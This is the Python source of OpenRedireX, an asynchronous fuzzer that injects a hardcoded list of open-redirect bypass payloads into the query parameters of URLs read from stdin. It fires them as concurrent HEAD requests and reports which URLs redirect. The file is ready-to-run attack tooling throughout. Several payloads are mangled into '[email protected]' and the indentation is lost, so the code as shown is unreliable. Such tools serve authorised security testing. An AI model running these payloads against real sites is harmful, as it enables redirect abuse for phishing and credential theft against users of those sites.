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openredirex.py
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openredirex.py
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#!/usr/bin/env python3
import asyncio
import aiohttp
import argparse
import sys
import socket
from aiohttp import ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects
from tqdm import tqdm
import concurrent.futures
from urllib.parse import urlparse, parse_qsl, urlencode, urlunparse
from typing import List
# Color constants
LIGHT_GREEN = '\033[92m' # Light Green
DARK_GREEN = '\033[32m' # Dark Green
ENDC = '\033[0m' # Reset to default color
redirect_payloads = [
"//[email protected]/%2f..",
"///google.com/%2f..",
"///[email protected]/%2f..",
"////google.com/%2f..",
"https://google.com/%2f..",
"https://[email protected]/%2f..",
"/https://google.com/%2f..",
"/https://[email protected]/%2f..",
"//google.com/%2f%2e%2e",
"//[email protected]/%2f%2e%2e",
"///google.com/%2f%2e%2e",
"///[email protected]/%2f%2e%2e",
"////google.com/%2f%2e%2e",
"/http://example.com",
"/http:/example.com",
"/https:/%5cexample.com/",
"/https://%09/example.com",
"/https://%5cexample.com",
"/https:///example.com/%2e%2e",
"/https:///example.com/%2f%2e%2e",
"/https://example.com",
"/https://example.com/",
"/https://example.com/%2e%2e",
"/https://example.com/%2e%2e%2f",
"/https://example.com/%2f%2e%2e",
"/https://example.com/%2f..",
"/https://example.com//",
"/https:example.com",
"/%09/example.com",
"/%2f%2fexample.com",
"/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/",
"/%5cexample.com",
"/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d",
"/.example.com",
"//%09/example.com",
"//%5cexample.com",
"///%09/example.com",
"///%5cexample.com",
"////%09/example.com",
"////%5cexample.com",
"/////example.com",
"/////example.com/",
"////\;@example.com",
"////example.com/"
]
async def load_payloads(payloads_file):
if payloads_file:
with open(payloads_file) as f:
return [line.strip() for line in f]
else:
return redirect_payloads # Return hardcoded list if no file specified
def fuzzify_url(url: str, keyword: str) -> str:
# If the keyword is already in the url, return the url as is.
if keyword in url:
return url
# Otherwise, replace all parameter values with the keyword.
parsed_url = urlparse(url)
params = parse_qsl(parsed_url.query)
fuzzed_params = [(k, keyword) for k, _ in params]
fuzzed_query = urlencode(fuzzed_params)
# Construct the fuzzified url.
fuzzed_url = urlunparse(
[parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, fuzzed_query, parsed_url.fragment])
return fuzzed_url
def load_urls() -> List[str]:
urls = []
for line in sys.stdin:
url = line.strip()
fuzzed_url = fuzzify_url(url, "FUZZ")
urls.append(fuzzed_url)
return urls
async def fetch_url(session, url):
try:
async with session.head(url, allow_redirects=True, timeout=10) as response:
return response
except (ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects, UnicodeDecodeError, socket.gaierror, asyncio.exceptions.TimeoutError):
tqdm.write(f'[ERROR] Error fetching: {url}', file=sys.stderr)
return None
async def process_url(semaphore, session, url, payloads, keyword, pbar):
async with semaphore:
for payload in payloads:
filled_url = url.replace(keyword, payload)
response = await fetch_url(session, filled_url)
if response and response.history:
locations = " --> ".join(str(r.url) for r in response.history)
# If the string contains "-->", print in green
if "-->" in locations:
tqdm.write(f'{DARK_GREEN}[FOUND]{ENDC} {LIGHT_GREEN}{filled_url} redirects to {locations}{ENDC}')
else:
tqdm.write(f'[INFO] {filled_url} redirects to {locations}')
pbar.update()
async def process_urls(semaphore, session, urls, payloads, keyword):
with tqdm(total=len(urls) * len(payloads), ncols=70, desc='Processing', unit='url', position=0) as pbar:
tasks = []
for url in urls:
tasks.append(process_url(semaphore, session, url, payloads, keyword, pbar))
await asyncio.gather(*tasks, return_exceptions=True)
async def main(args):
payloads = await load_payloads(args.payloads)
urls = load_urls()
tqdm.write(f'[INFO] Processing {len(urls)} URLs with {len(payloads)} payloads.')
async with aiohttp.ClientSession() as session:
semaphore = asyncio.Semaphore(args.concurrency)
await process_urls(semaphore, session, urls, payloads, args.keyword)
if __name__ == "__main__":
banner = """
____ ____ ___
/ __ \____ ___ ____ / __ \___ ____/ (_)_______ _ __
/ / / / __ \/ _ \/ __ \/ /_/ / _ \/ __ / / ___/ _ \| |/_/
/ /_/ / /_/ / __/ / / / _, _/ __/ /_/ / / / / __/> <
\____/ .___/\___/_/ /_/_/ |_|\___/\__,_/_/_/ \___/_/|_|
/_/
"""
print(banner)
parser = argparse.ArgumentParser(description="OpenRedireX : A fuzzer for detecting open redirect vulnerabilities")
parser.add_argument('-p', '--payloads', help='file of payloads', required=False)
parser.add_argument('-k', '--keyword', help='keyword in urls to replace with payload (default is FUZZ)', default="FUZZ")
parser.add_argument('-c', '--concurrency', help='number of concurrent tasks (default is 100)', type=int, default=100)
args = parser.parse_args()
try:
asyncio.run(main(args))
except KeyboardInterrupt:
print("\nInterrupted by user. Exiting...")
sys.exit(0)